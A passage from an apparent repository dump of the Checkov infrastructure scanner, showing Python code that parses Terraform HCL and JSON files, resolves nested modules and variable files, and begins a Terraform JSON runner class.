default_ml_registry.download_external_modules = download_external_modules\n        default_ml_registry.external_modules_folder_name = external_modules_download_path\n        default_ml_registry.module_content_cache = external_modules_content_cache if external_modules_content_cache else {}\n        load_tf_modules(directory, loaded_files_cache=self.loaded_files_map, parsing_errors=self.out_parsing_errors, excluded_paths=self.excluded_paths)\n        self._parse_directory(dir_filter=lambda d: self._check_process_dir(d), vars_files=vars_files)\n        self._update_resolved_modules()\n        return self.out_definitions\n\n    def parse_file(self, file: str, parsing_errors: dict[str, Exception]) -> Optional[Dict[str, Any]]:\n        if file.endswith(\".tf\") or file.endswith(\".tf.json\") or file.endswith(\".hcl\"):\n            parse_result = load_or_die_quietly(file, parsing_errors)\n            if parse_result:\n                parse_result = serialize_definitions(parse_result)\n                parse_result = clean_parser_types(parse_result)\n                return parse_result\n\n        return None\n\n    def _parse_directory(self, include_sub_dirs: bool = True,\n                         module_loader_registry: ModuleLoaderRegistry = default_ml_registry,\n                         dir_filter: Callable[[str], bool] = lambda _: True,\n                         vars_files: Optional[List[str]] = None) -> None:\n\n        keys_referenced_as_modules: set[TFDefinitionKey] = set()\n\n        if include_sub_dirs:\n            for sub_dir, d_names, _ in os.walk(self.directory):\n                _filter_ignored_paths(sub_dir, d_names, self.excluded_paths)\n                if dir_filter(os.path.abspath(sub_dir)):\n                    self._internal_dir_load(sub_dir, module_loader_registry, dir_filter,\n                                            keys_referenced_as_modules, vars_files=vars_files,\n                                            excluded_paths=self.excluded_paths)\n        else:\n            self._internal_dir_load(self.directory, module_loader_registry, dir_filter,\n                                    keys_referenced_as_modules, vars_files=vars_files)\n\n        for key in keys_referenced_as_modules:\n            if key in self.out_definitions:\n                del self.out_definitions[key]\n\n    def _internal_dir_load(\n            self,\n            directory: str,\n            module_loader_registry: ModuleLoaderRegistry,\n            dir_filter: Callable[[str], bool],\n            keys_referenced_as_modules: set[TFDefinitionKey],\n            specified_vars: Optional[Mapping[str, str]] = None,\n            vars_files: Optional[List[str]] = None,\n            excluded_paths: Optional[List[str]] = None,\n            nested_modules_data: dict[str, Any] | None = None,\n    ) -> None:\n\n        dir_contents = list(os.scandir(directory))\n        if excluded_paths or IGNORE_HIDDEN_DIRECTORY_ENV:\n            filter_ignored_paths(directory, dir_contents, excluded_paths)\n\n        tf_files_to_load = self.handle_variables(dir_contents, vars_files, specified_vars)\n        files_to_data = self._load_files(tf_files_to_load)\n        for file, data in sorted(files_to_data, key=lambda x: x[0]):\n            if not data:\n                continue\n            self.out_definitions[TFDefinitionKey(file)] = data\n\n        force_final_module_load = False\n        for i in range(0, 10):\n            logging.debug(f\"Module load loop {i}\")\n            dir_filter(directory)\n            has_more_modules = self._load_modules(\n                directory, module_loader_registry, dir_filter,\n                keys_referenced_as_modules, force_final_module_load,\n                nested_modules_data=nested_modules_data\n            )\n            made_var_changes = False\n            if not has_more_modules:\n                break\n            elif not made_var_changes:\n                force_final_module_load = True\n\n    def _load_files(\n            self,\n            files: list[str],\n    ) -> list[tuple[str, dict[str, list[dict[str, Any]]] | None]]:\n        def _load_file(\n                file: str\n        ) -> tuple[tuple[str, dict[str, list[dict[str, Any]]] | None], dict[str, Exception]]:\n            parsing_errors: dict[str, Exception] = {}\n            result = load_or_die_quietly(file, parsing_errors)\n            for path, e in parsing_errors.items():\n                parsing_errors[path] = e\n\n            return (file, result), parsing_errors\n\n        files_to_data: list[tuple[str, dict[str, list[dict[str, Any]]] | None]] = []\n        files_to_parse = []\n        for file in files:\n            data = self.loaded_files_map.get(file)\n            if data:\n                files_to_data.append((file, data))\n            else:\n                files_to_parse.append(file)\n\n        results = [_load_file(f) for f in files_to_parse]\n        for result, parsing_errors in results:\n            self.out_parsing_errors.update(parsing_errors)\n            files_to_data.append(result)\n            if result[0] not in self.loaded_files_map:\n                self.loaded_files_map[result[0]] = result[1]\n        return files_to_data\n\n    def _load_modules(self, root_dir: str, module_loader_registry: ModuleLoaderRegistry,\n                      dir_filter: Callable[[str], bool],\n                      keys_referenced_as_modules: Set[TFDefinitionKey], ignore_unresolved_params: bool = False,\n                      nested_modules_data: dict[str, Any] | None = None) -> bool:\n        all_module_definitions: dict[TFDefinitionKey, dict[str, list[dict[str, Any]]]] = {}\n        skipped_a_module = False\n        for file in list(self.out_definitions.keys()):\n            if not self.should_loaded_file(file, root_dir):\n                continue\n\n            #  Dont run over the nested because we already run on them - dont remove.\n            if file.tf_source_modules:\n                continue\n\n            file_data = self.out_definitions.get(file)\n            if file_data is None:\n                continue\n            module_calls = file_data.get(\"module\")\n            if not module_calls or not isinstance(module_calls, list):\n                continue\n\n            for module_call in module_calls:\n                if not isinstance(module_call, dict):\n                    continue\n\n                for module_call_name, module_call_data in module_call.items():\n                    if not isinstance(module_call_data, dict):\n                        continue\n\n                    file_key = self.get_file_key_with_nested_data(file, nested_modules_data)\n                    current_nested_data = (file_key, module_call_name)\n                    resolved_loc_list = []\n                    if current_nested_data in self.module_to_resolved:\n                        resolved_loc_list = self.module_to_resolved[current_nested_data]\n                    self.module_to_resolved[current_nested_data] = resolved_loc_list\n\n                    specified_vars = {\n                        k: v[0] if isinstance(v, list) and v else v\n                        for k, v in module_call_data.items()\n                        if k != \"source\" and k != \"version\"\n                    }\n                    skip_module = self.should_skip_a_module(specified_vars, ignore_unresolved_params)\n                    if skip_module:\n                        # keep module skip info till the end\n                        skipped_a_module = True\n                        continue\n\n                    version = self.get_module_version(module_call_data)\n                    source = self.get_module_source(module_call_data, module_call_name, file)\n                    if not source:\n                        continue\n\n                    try:\n                        content_path = self.get_content_path(module_loader_registry, root_dir, source, version)\n                        if not content_path:\n                            continue\n                        new_nested_modules_data = {'module_name': module_call_name, 'file': file,\n                                                   'nested_modules_data': nested_modules_data}\n                        self._internal_dir_load(\n                            directory=content_path,\n                            module_loader_registry=module_loader_registry,\n                            dir_filter=dir_filter, specified_vars=specified_vars,\n                            keys_referenced_as_modules=keys_referenced_as_modules,\n                            nested_modules_data=new_nested_modules_data\n                        )\n\n                        module_definitions = {\n                            path: definition\n                            for path, definition in self.out_definitions.items()\n                            if self.get_dirname(path) == content_path and not path.tf_source_modules\n                        }\n                        if not module_definitions:\n                            continue\n\n                        keys = list(module_definitions.keys())\n                        for key in keys:\n                            if not self.should_process_key(key, file):\n                                continue\n                            keys_referenced_as_modules.add(key)\n                            new_key = self.get_new_nested_module_key(key, file, module_call_name, nested_modules_data)\n                            if new_key in self.visited_definition_keys:\n                                del module_definitions[key]\n                                del self.out_definitions[key]\n                                continue\n\n                            module_definitions[new_key] = module_definitions[key]\n                            del module_definitions[key]\n                            del self.out_definitions[key]\n                            self.keys_to_remove.add(key)\n\n                            self.visited_definition_keys.add(new_key)\n                            if new_key not in resolved_loc_list:\n                                resolved_loc_list.append(new_key)\n\n                        if all_module_definitions:\n                            pickle_deep_merge(all_module_definitions, module_definitions)\n                        else:\n                            all_module_definitions = module_definitions\n\n                        self.external_modules_source_map[(source, version)] = content_path\n                    except Exception as e:\n                        logging.warning(\n                            f\"Unable to load module - source: {source}, version: {version}, error: {str(e)}\")\n\n        if all_module_definitions:\n            pickle_deep_merge(self.out_definitions, all_module_definitions)\n        return skipped_a_module\n\n    def parse_hcl_module(\n            self,\n            source_dir: str,\n            source: str,\n            download_external_modules: Optional[bool] = False,\n            external_modules_download_path: str = DEFAULT_EXTERNAL_MODULES_DIR,\n            parsing_errors: dict[str, Exception] | None = None,\n            excluded_paths: list[str] | None = None,\n            vars_files: list[str] | None = None,\n            external_modules_content_cache: dict[str, ModuleContent | None] | None = None,\n    ) -> tuple[Module, dict[TFDefinitionKey, dict[str, Any]]]:\n        tf_definitions = self.parse_directory(\n            directory=source_dir, out_evaluations_context={},\n            out_parsing_errors=parsing_errors if parsing_errors is not None else {},\n            download_external_modules=download_external_modules,\n            external_modules_download_path=external_modules_download_path, excluded_paths=excluded_paths,\n            vars_files=vars_files, external_modules_content_cache=external_modules_content_cache\n        )\n        tf_definitions = clean_parser_types(tf_definitions)\n        tf_definitions = serialize_definitions(tf_definitions)\n\n        module, tf_definitions = self.parse_hcl_module_from_tf_definitions(tf_definitions, source_dir, source)\n\n        return module, tf_definitions\n\n    def parse_multi_graph_hcl_module(\n            self,\n            source_dir: str,\n            source: str,\n            download_external_modules: Optional[bool] = False,\n            external_modules_download_path: str = DEFAULT_EXTERNAL_MODULES_DIR,\n            parsing_errors: dict[str, Exception] | None = None,\n            excluded_paths: list[str] | None = None,\n            vars_files: list[str] | None = None,\n            external_modules_content_cache: dict[str, ModuleContent | None] | None = None,\n    ) -> list[tuple[Module, list[dict[TFDefinitionKey, dict[str, Any]]]]]:\n        \"\"\"\n        This function is similar to parse_hcl_module, except that it creates a list of tuples instead of a single tuple.\n        The objective is to create a collection of TF definitions based on directory, instead of a single big structure.\n        This will allow us to boost performance by running on several smaller objects rather than a single one.\n        \"\"\"\n        tf_definitions = self.parse_directory(\n            directory=source_dir, out_evaluations_context={},\n            out_parsing_errors=parsing_errors if parsing_errors is not None else {},\n            download_external_modules=download_external_modules,\n            external_modules_download_path=external_modules_download_path, excluded_paths=excluded_paths,\n            vars_files=vars_files, external_modules_content_cache=external_modules_content_cache\n        )\n        tf_definitions = clean_parser_types(tf_definitions)\n        tf_definitions = serialize_definitions(tf_definitions)\n\n        dirs_to_definitions = self.create_definition_by_dirs(tf_definitions)\n\n        definitions_dir_and_source_iterable = [(definitions, source_path, source) for source_path, definitions in\n                                               dirs_to_definitions.items()]\n        modules_and_definitions_tuple: list[tuple[Module, list[dict[TFDefinitionKey, dict[str, Any]]]]] = \\\n            list(parallel_runner.run_function(self.parse_hcl_module_from_multi_tf_definitions,\n                                              definitions_dir_and_source_iterable))\n\n        return modules_and_definitions_tuple\n\n    def create_definition_by_dirs(self, tf_definitions: dict[TFDefinitionKey, dict[str, list[dict[str, Any]]]]\n                                  ) -> dict[str, list[dict[TFDefinitionKey, dict[str, Any]]]]:\n        dirs_to_definitions: dict[str, list[dict[TFDefinitionKey, dict[str, Any]]]] = defaultdict(list)\n        for tf_definition_key, tf_value in tf_definitions.items():\n            source_module = tf_definition_key.tf_source_modules\n            if source_module is None:\n                # No module - add new entry to dirs_to_definitions with the path as key\n                dir_path = os.path.dirname(tf_definition_key.file_path)\n                dirs_to_definitions[dir_path].append({tf_definition_key: tf_value})\n            else:\n                # iterate over nested modules while adding directories on the way\n                while source_module is not None:\n                    if source_module.nested_tf_module is None:\n                        dir_path = os.path.dirname(source_module.path)\n                        dirs_to_definitions[dir_path].append({tf_definition_key: tf_value})\n                    source_module = source_module.nested_tf_module\n        return dirs_to_definitions\n\n    def _remove_unused_path_recursive(self, path: TFDefinitionKey) -> None:\n        self.out_definitions.pop(path, None)\n        for key in list(self.module_to_resolved.keys()):\n            file_key = None\n            if isinstance(key[0], TFDefinitionKey):\n                file_key = key[0]\n            elif key[0] is not None:\n                file_key, module_index, module_name = key\n            if path == file_key:\n                for resolved_path in self.module_to_resolved[key]:\n                    self._remove_unused_path_recursive(resolved_path)\n                self.module_to_resolved.pop(key, None)\n\n    def _update_resolved_modules(self) -> None:\n        for key in list(self.module_to_resolved.keys()):\n            file_key, module_name = key\n            if file_key in self.keys_to_remove:\n                for path in self.module_to_resolved[key]:\n                    self._remove_unused_path_recursive(path)\n                self.module_to_resolved.pop(key, None)\n\n        for key, resolved_list in self.module_to_resolved.items():\n            file_key, module_name = key\n            if file_key not in self.out_definitions:\n                continue\n\n            idx = self.get_idx_by_module_name(self.out_definitions[file_key]['module'], module_name)\n            if idx is None:\n                continue\n\n            self.out_definitions[file_key]['module'][idx][module_name][RESOLVED_MODULE_ENTRY_NAME] = resolved_list\n\n    @staticmethod\n    def get_idx_by_module_name(module_data_list: list[dict[str, Any]], module_name: str) -> int | None:\n        for idx, module_data in enumerate(module_data_list):\n            if module_name in module_data:\n                return idx\n\n        return None\n\n    @overload\n    def parse_hcl_module_from_tf_definitions(\n            self,\n            tf_definitions: dict[str, dict[str, Any]],\n            source_dir: str,\n            source: str,\n    ) -> tuple[Module, dict[str, dict[str, Any]]]:\n        ...\n\n    @overload\n    def parse_hcl_module_from_tf_definitions(\n            self,\n            tf_definitions: dict[TFDefinitionKey, dict[str, Any]],\n            source_dir: str,\n            source: str,\n    ) -> tuple[Module, dict[TFDefinitionKey, dict[str, Any]]]:\n        ...\n\n    def parse_hcl_module_from_tf_definitions(\n            self,\n            tf_definitions: dict[str, dict[str, Any]] | dict[TFDefinitionKey, dict[str, Any]],\n            source_dir: str,\n            source: str,\n    ) -> tuple[Module, dict[str, dict[str, Any]] | dict[TFDefinitionKey, dict[str, Any]]]:\n        module = self.get_new_module(\n            source_dir=source_dir,\n            external_modules_source_map=self.external_modules_source_map,\n        )\n        self.add_tfvars(module, source)\n        copy_of_tf_definitions = pickle_deepcopy(tf_definitions)\n        module.temp_tf_definition = tf_definitions  # type:ignore  # will be TFDefinitionKey and not string\n        for file_path, blocks in copy_of_tf_definitions.items():\n            for block_type in blocks:\n                try:\n                    module.add_blocks(block_type, blocks[block_type], file_path, source)\n                except Exception as e:\n                    logging.warning(f'Failed to add block {blocks[block_type]}. Error:')\n                    logging.warning(e, exc_info=False)\n        return module, tf_definitions\n\n    def parse_hcl_module_from_multi_tf_definitions(\n            self,\n            tf_definitions: list[dict[TFDefinitionKey, dict[str, Any]]],\n            source_dir: str,\n            source: str,\n    ) -> tuple[Module, list[dict[TFDefinitionKey, dict[str, Any]]]]:\n        module = self.get_new_module(\n            source_dir=source_dir,\n            external_modules_source_map=self.external_modules_source_map,\n        )\n        self.add_tfvars(module, source)\n        copy_of_tf_definitions = pickle_deepcopy(tf_definitions)\n        for tf_def in copy_of_tf_definitions:\n            for file_path, blocks in tf_def.items():\n                for block_type in blocks:\n                    try:\n                        module.add_blocks(block_type, blocks[block_type], file_path, source)\n                    except Exception as e:\n                        logging.warning(f'Failed to add block {blocks[block_type]}. Error:')\n                        logging.warning(e, exc_info=False)\n        return module, tf_definitions\n\n    def get_file_key_with_nested_data(\n            self, file: TFDefinitionKey | None, nested_data: dict[str, Any] | None\n    ) -> TFDefinitionKey | None:\n        if not nested_data or file is None:\n            return file\n        nested_str = self.get_file_key_with_nested_data(nested_data.get(\"file\"), nested_data.get('nested_modules_data'))\n        nested_module_name = nested_data.get('module_name')\n        return get_tf_definition_object_from_module_dependency(file, nested_str, nested_module_name)\n\n    def get_new_nested_module_key(\n            self, key: TFDefinitionKey, file: TFDefinitionKey | None, module_name: str | None,\n            nested_data: Optional[dict[str, Any]]\n    ) -> TFDefinitionKey:\n        if not nested_data or not file:\n            return get_tf_definition_object_from_module_dependency(key, file, module_name)\n        visited_key_to_add = get_tf_definition_object_from_module_dependency(key, file, module_name)\n        self.visited_definition_keys.add(visited_key_to_add)\n        nested_key = self.get_new_nested_module_key(file, nested_data.get('file'),\n                                                    nested_data.get('module_name'),\n                                                    nested_data.get('nested_modules_data'))\n        return get_tf_definition_object_from_module_dependency(key, nested_key, module_name)\n\n    def add_tfvars(self, module: Module, source: str) -> None:\n        if not self.external_vars:\n            return\n\n        for load_dir, i in self.external_vars.items():\n            for name, (default, path) in i.items():\n                block = [{name: {'default': default, 'load_dir': load_dir}}]\n                module.add_blocks(BlockType.TF_VARIABLE, block, path, source)\n\n    def get_dirname(self, path: TFDefinitionKey) -> str:\n        file_path = path.file_path\n        dirname_path = self.dirname_cache.get(file_path)\n        if not dirname_path:\n            dirname_path = os.path.dirname(file_path)\n            self.dirname_cache[file_path] = dirname_path\n        return dirname_path\n\n    def should_loaded_file(self, file: TFDefinitionKey, root_dir: str) -> bool:\n        return not self.get_dirname(file) != root_dir\n\n    def get_module_source(\n            self, module_call_data: dict[str, Any], module_call_name: str, file: TFDefinitionKey\n    ) -> Optional[str]:\n        source = module_call_data.get(\"source\")\n        if not source or not isinstance(source, list):\n            return None\n        source = source[0]\n        if not self.is_valid_source(source, module_call_name):\n            return None\n\n        if source.startswith(\"./\") or source.startswith(\"../\"):\n            file_to_load = file.file_path\n            source = os.path.normpath(\n                os.path.join(os.path.dirname(remove_module_dependency_from_path(file_to_load)), source))\n        return source\n\n    def handle_variables(\n            self,\n            dir_contents: list[os.DirEntry[str]],\n            vars_files: None | list[str],\n            specified_vars: Mapping[str, str] | None,\n    ) -> list[str]:\n        tf_files_to_load = []\n        hcl_tfvars: Optional[str] = None\n        json_tfvars: Optional[str] = None\n        auto_vars_files: List[str] = []\n        external_vars: dict[str, tuple[Any, str]] = {}\n\n        if not dir_contents:\n            return []\n\n        for file in dir_contents:\n            try:\n                if not file.is_file():\n                    continue\n            except OSError:\n                continue\n\n            if file.name == \"terraform.tfvars.json\":\n                json_tfvars = file.path\n            elif file.name == \"terraform.tfvars\":\n                hcl_tfvars = file.path\n            elif file.name.endswith(\".auto.tfvars.json\") or file.name.endswith(\".auto.tfvars\"):\n                auto_vars_files.append(file.path)\n            elif file.name.endswith(\".tf\") or file.name.endswith('.hcl'):  # TODO: add support for .tf.json\n                tf_files_to_load.append(file.path)\n\n        # Terraform Variable Definition Precedence\n        # 1. Environment vars\n        for key, value in self.env_vars.items():\n            if key.startswith('TF_VAR_'):\n                external_vars[key[7:]] = (value, f'env:{key}')\n\n        # 2. terraform.tfvars\n        if hcl_tfvars:  # terraform.tfvars\n            data = load_or_die_quietly(hcl_tfvars, self.out_parsing_errors, clean_definitions=False)\n            if data:\n                for k, v in data.items():\n                    external_vars[k] = (safe_index(v, 0), hcl_tfvars)\n\n        # 3. terraform.tfvars.json\n        if json_tfvars:  # terraform.tfvars.json\n            data = load_or_die_quietly(json_tfvars, self.out_parsing_errors)\n            if data:\n                for k, v in data.items():\n                    external_vars[k] = (v, json_tfvars)\n\n        # 4. *.auto.tfvars / *.auto.tfvars.json\n        auto_var_files_to_data = self._load_files(auto_vars_files)\n        for var_file, data in sorted(auto_var_files_to_data, key=lambda x: x[0]):\n            if data:\n                for k, v in data.items():\n                    external_vars[k] = (v, var_file)\n\n        # 5. --var-file arguments\n        if vars_files:\n            for var_file, data in self._load_files(vars_files):\n                if data:\n                    for k, v in data.items():\n                        external_vars[k] = (v, var_file)\n\n        # Prevent specified vars from being overridden by tfvars\n        if specified_vars:\n            for k in specified_vars.keys():\n                if k in external_vars:\n                    del external_vars[k]\n\n        if external_vars:\n            self.external_vars[os.path.dirname(dir_contents[0].path)] = external_vars\n        return tf_files_to_load\n\n    @staticmethod\n    def get_module_version(module_call_data: dict[str, Any]) -> str:\n        version = module_call_data.get(\"version\", \"latest\")\n        if version and isinstance(version, list):\n            version = version[0]\n        return cast(str, version)\n\n    @staticmethod\n    def should_process_key(key: TFDefinitionKey, file: TFDefinitionKey) -> bool:\n        return bool(not key.tf_source_modules or file.tf_source_modules)\n\n    @staticmethod\n    def is_valid_source(source: Any, module_call_name: str) -> TypeGuard[str]:\n        if not isinstance(source, str):\n            logging.debug(f\"Skipping loading of {module_call_name} as source is not a string, it is: {source}\")\n            return False\n        elif source in ['./', '.']:\n            logging.debug(f\"Skipping loading of {module_call_name} as source is the current dir\")\n            return False\n        return True\n\n    @staticmethod\n    def should_skip_a_module(specified_vars: dict[str, Any], ignore_unresolved_params: bool) -> bool:\n        if not ignore_unresolved_params:\n            has_unresolved_params = False\n            for k, v in specified_vars.items():\n                if not is_acceptable_module_param(v) or not is_acceptable_module_param(k):\n                    has_unresolved_params = True\n                    break\n            if has_unresolved_params:\n                return True\n        return False\n\n    @staticmethod\n    def get_content_path(module_loader_registry: ModuleLoaderRegistry, root_dir: str, source: str, version: str) -> \\\n            Optional[str]:\n        content = module_loader_registry.load(root_dir, source, version)\n        if not content or not content.loaded():\n            logging.info(f'Got no content for {source}:{version}')\n            return None\n        return content.path()\n\n    @staticmethod\n    def get_new_module(\n            source_dir: str,\n            external_modules_source_map: dict[tuple[str, str], str],\n    ) -> Module:\n        return Module(\n            source_dir=source_dir,\n            external_modules_source_map=external_modules_source_map,\n        )\n\n\ndef is_nested_object(full_path: TFDefinitionKey) -> bool:\n    return True if full_path.tf_source_modules else False\n\n\ndef get_tf_definition_object_from_module_dependency(\n        path: TFDefinitionKey, module_dependency: TFDefinitionKey | None, module_dependency_name: str | None\n) -> TFDefinitionKey:\n    if not module_dependency:\n        return path\n    if not is_nested_object(module_dependency):\n        return TFDefinitionKey(path.file_path, TFModule(path=module_dependency.file_path, name=module_dependency_name))\n    return TFDefinitionKey(path.file_path, TFModule(path=module_dependency.file_path, name=module_dependency_name,\n                                                    nested_tf_module=module_dependency.tf_source_modules))\n"
  },
  {
    "path": "checkov/terraform_json/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/terraform_json/parser.py",
    "content": "from __future__ import annotations\n\nimport itertools\nimport logging\nfrom pathlib import Path\nfrom typing import Any\n\nfrom yaml.scanner import ScannerError\nfrom yaml import YAMLError\n\nfrom checkov.common.parsers.json import parse as json_parse\nfrom checkov.common.parsers.yaml import loader\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.util.consts import LINE_FIELD_NAMES\nfrom checkov.common.util.file_utils import read_file_with_any_encoding\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\n\nCOMMENT_FIELD_NAME = \"//\"\nIGNORE_FILED_NAMES = {COMMENT_FIELD_NAME} | LINE_FIELD_NAMES\nSIMPLE_TYPES = (str, int, float, bool)\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\n\ndef parse(file_path: Path) -> tuple[dict[str, Any], list[tuple[int, str]]] | tuple[None, None]:\n    \"\"\"Parse file to dict object\"\"\"\n\n    template = None\n    template_lines = None\n    try:\n        template, template_lines = loads(file_path=file_path)\n    except IOError as e:\n        if e.errno == 2:\n            logger.error(f\"Template file not found: {file_path}\")\n        elif e.errno == 21:\n            logger.error(f\"Template references a directory, not a file: {file_path}\")\n        elif e.errno == 13:\n            logger.error(f\"Permission denied when accessing template file: {file_path}\")\n    except UnicodeDecodeError:\n        logger.error(f\"Cannot read file contents: {file_path}\")\n    except ScannerError as err:\n        if err.problem in (\"found character '\\\\t' that cannot start any token\", \"found unknown escape character\"):\n            try:\n                result = json_parse(file_path, allow_nulls=False)\n                if result:\n                    template, template_lines = result  # type:ignore[assignment]  # this is handled by the next line\n                    if isinstance(template, list):\n                        # should not happen and is more relevant for type safety\n                        template = template[0]\n            except Exception:\n                logger.error(f\"Template {file_path} is malformed: {err.problem}\")\n                logger.error(f\"Tried to parse {file_path} as JSON\", exc_info=True)\n    except YAMLError:\n        pass\n\n    if template is None or template_lines is None:\n        return None, None\n\n    return template, template_lines\n\n\ndef loads(file_path: Path) -> tuple[dict[str, Any], list[tuple[int, str]]]:\n    \"\"\"Loads the given JSON file with line numbers\"\"\"\n\n    content = read_file_with_any_encoding(file_path=file_path)\n\n    file_lines = [(idx + 1, line) for idx, line in enumerate(content.splitlines(keepends=True))]\n\n    template: \"dict[str, Any] | list[dict[str, Any]]\" = loader.loads(content=content)\n    if not template:\n        template = {}\n    if isinstance(template, list):\n        template = template[0]\n\n    if template:\n        template = prepare_definition(template)\n\n    return template, file_lines\n\n\ndef prepare_definition(definition: dict[str, Any]) -> dict[str, Any]:\n    definition_new: dict[str, Any] = {}\n\n    for block_type, blocks in definition.items():\n        if block_type == COMMENT_FIELD_NAME or block_type in LINE_FIELD_NAMES:\n            continue\n\n        definition_new[block_type] = handle_block_type(block_type=block_type, blocks=blocks)\n\n    return definition_new\n\n\ndef handle_block_type(block_type: str, blocks: dict[str, Any]) -> list[dict[str, Any]]:\n    result: list[dict[str, Any]] = []\n\n    for block_name, config in blocks.items():\n        if block_name == COMMENT_FIELD_NAME or block_name in LINE_FIELD_NAMES:\n            continue\n\n        if block_type in (BlockType.RESOURCE, BlockType.DATA):\n            # data/resource have an extra nested level resource_type -> resource_name -> resource_config\n            for resource_name, resource_config in config.items():\n                if resource_name in IGNORE_FILED_NAMES:\n                    continue\n                result.append({block_name: {resource_name: hclify(obj=resource_config)}})\n        elif block_type == BlockType.PROVIDER:\n            # provider are stored as a list, which we need to move one level higher to add the name\n            for provider_config in config:\n                result.append({block_name: hclify(obj=provider_config)})\n        elif block_type == BlockType.LOCALS:\n            # a local block is stored as single dict\n            return [hclify(obj=blocks)]\n        else:\n            result.append({block_name: hclify(obj=config)})\n\n    return result\n\n\ndef hclify(\n    obj: dict[str, Any],\n    conf: dict[str, Any] | None = None,\n    parent_key: str | None = None,\n) -> dict[str, list[Any]]:\n    ret_dict = {}\n\n    if not isinstance(obj, dict):\n        raise Exception(\"this method receives only dicts\")\n\n    for key, value in obj.items():\n        if key == COMMENT_FIELD_NAME:\n            # don't hclify the comment block\n            ret_dict[key] = value\n        elif _is_simple_type(value) or _is_list_of_simple_types(value):\n            if key in IGNORE_FILED_NAMES:\n                ret_dict[key] = value\n            elif parent_key == \"tags\":\n                ret_dict[key] = value\n            else:\n                ret_dict[key] = _clean_simple_type_list([value])\n        elif _is_list_of_dicts(value):\n            child_list = []\n            conf_val = conf.get(key, []) if conf else []\n            if not isinstance(conf_val, list):\n                # this occurs, when a resource in the current state has no value for that argument\n                conf_val = [conf_val]\n\n            for internal_val, internal_conf_val in itertools.zip_longest(value, conf_val):\n                if isinstance(internal_val, dict):\n                    child_list.append(hclify(internal_val, internal_conf_val, parent_key=key))\n            if key == \"tags\":\n                ret_dict[key] = [child_list]\n            else:\n                ret_dict[key] = child_list\n        elif isinstance(value, dict):\n            child_dict = hclify(value, parent_key=key)\n            if parent_key == \"tags\":\n                ret_dict[key] = child_dict\n            else:\n                ret_dict[key] = [child_dict]\n\n    return ret_dict\n\n\ndef _is_simple_type(obj: Any) -> bool:\n    if obj is None:\n        return True\n    if isinstance(obj, SIMPLE_TYPES):\n        return True\n    return False\n\n\ndef _is_list_of_simple_types(obj: Any) -> bool:\n    if not isinstance(obj, list):\n        return False\n    for i in obj:\n        if not _is_simple_type(i):\n            return False\n    return True\n\n\ndef _is_list_of_dicts(obj: Any) -> bool:\n    if not isinstance(obj, list):\n        return False\n    for i in obj:\n        if isinstance(i, dict):\n            return True\n    return False\n\n\ndef _clean_simple_type_list(value_list: list[Any]) -> list[Any]:\n    \"\"\"\n    Given a list of simple types return a cleaned list of simple types.\n    Converts booleans that are input as strings back to booleans to maintain consistent expectations for later evaluation.\n    Sometimes Terraform Plan will output Map values as strings regardless of boolean input.\n    \"\"\"\n    for i in range(len(value_list)):\n        if isinstance(value_list[i], str):\n            lower_case_value = value_list[i].lower()\n            if lower_case_value == \"true\":\n                value_list[i] = True\n            if lower_case_value == \"false\":\n                value_list[i] = False\n    return value_list\n"
  },
  {
    "path": "checkov/terraform_json/runner.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom typing import TYPE_CHECKING, Any\n\nfrom typing_extensions import TypeAlias  # noqa[TC002]\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.checks_infra.registry import get_graph_checks_registry\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.output.graph_record import GraphRecord\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.common.util.secrets import omit_secret_value_from_checks\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.base_runner import BaseTerraformRunner\nfrom checkov.terraform.checks.resource.registry import resource_registry\nfrom checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\nfrom checkov.terraform_json.utils import get_scannable_file_paths, create_definitions\n\nif TYPE_CHECKING:\n    from checkov.common.graph.checks_infra.registry import BaseRegistry\n    from checkov.terraform.graph_manager import TerraformGraphManager\n    from checkov.common.typing import LibraryGraphConnector, _CheckResult\n\n_TerraformJsonContext: TypeAlias = \"dict[str, dict[str, Any]]\"\n_TerraformJsonDefinitions: TypeAlias = \"dict[str, dict[str, Any]]\"\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\n\nclass TerraformJsonRunner(BaseTerraformRunner[_TerraformJsonDefinitions, _TerraformJsonContext, str]):\n    check_type = CheckType.TERRAFORM_JSON  # noqa: CCE003  # a static attribute\n\n    def __init__(\n        self,\n        graph_class: type[TerraformLocalGraph] = TerraformLocalGraph,\n        graph_manager: TerraformGraphManager | None = None,\n        db_connector: LibraryGraphConnector | None = None,\n        external_registries: list[BaseRegistry] | None = None,\n        source: str = GraphSource.TERRAFORM,\n    ) -> None:\n        super().__init__(\n            graph_class=graph_class,\n            graph_manager=graph_manager,\n            db_connector=db_connector,\n            external_registries=external_registries,\n            source=source,\n        )\n        self.file_extensions = (\".json\",)  # just '.json' not 'tf.json' otherwise it will be filtered out\n        self.graph_registry = get_graph_checks_registry(check_type=CheckType.TERRAFORM)\n\n        self.definitions: _TerraformJsonDefinitions = {}\n        self.definitions_raw: \"dict[str, list[tuple[int, str]]]\" = {}\n        self.context: _TerraformJsonContext = {}\n        self.root_folder: str | None = None\n\n    def run(\n        self,\n        root_folder: str | None = None,\n        external_checks_dir: list[str] | None = None,\n        files: list[str] | None = None,\n        runner_filter: RunnerFilter | None = None,\n        collect_skip_comments: bool = True,\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        report = Report(self.check_type)\n        self.root_folder = root_folder\n\n        if not self.definitions or not self.context:\n            file_paths = get_scannable_file_paths(\n                root_folder=root_folder, files=files, excluded_paths=runner_filter.excluded_paths\n            )\n\n            if not file_paths:\n                return report\n\n            self.definitions, self.definitions_raw, parsing_errors = create_definitions(file_paths)\n\n            report.add_parsing_errors(parsing_errors)\n\n            if external_checks_dir:\n                for directory 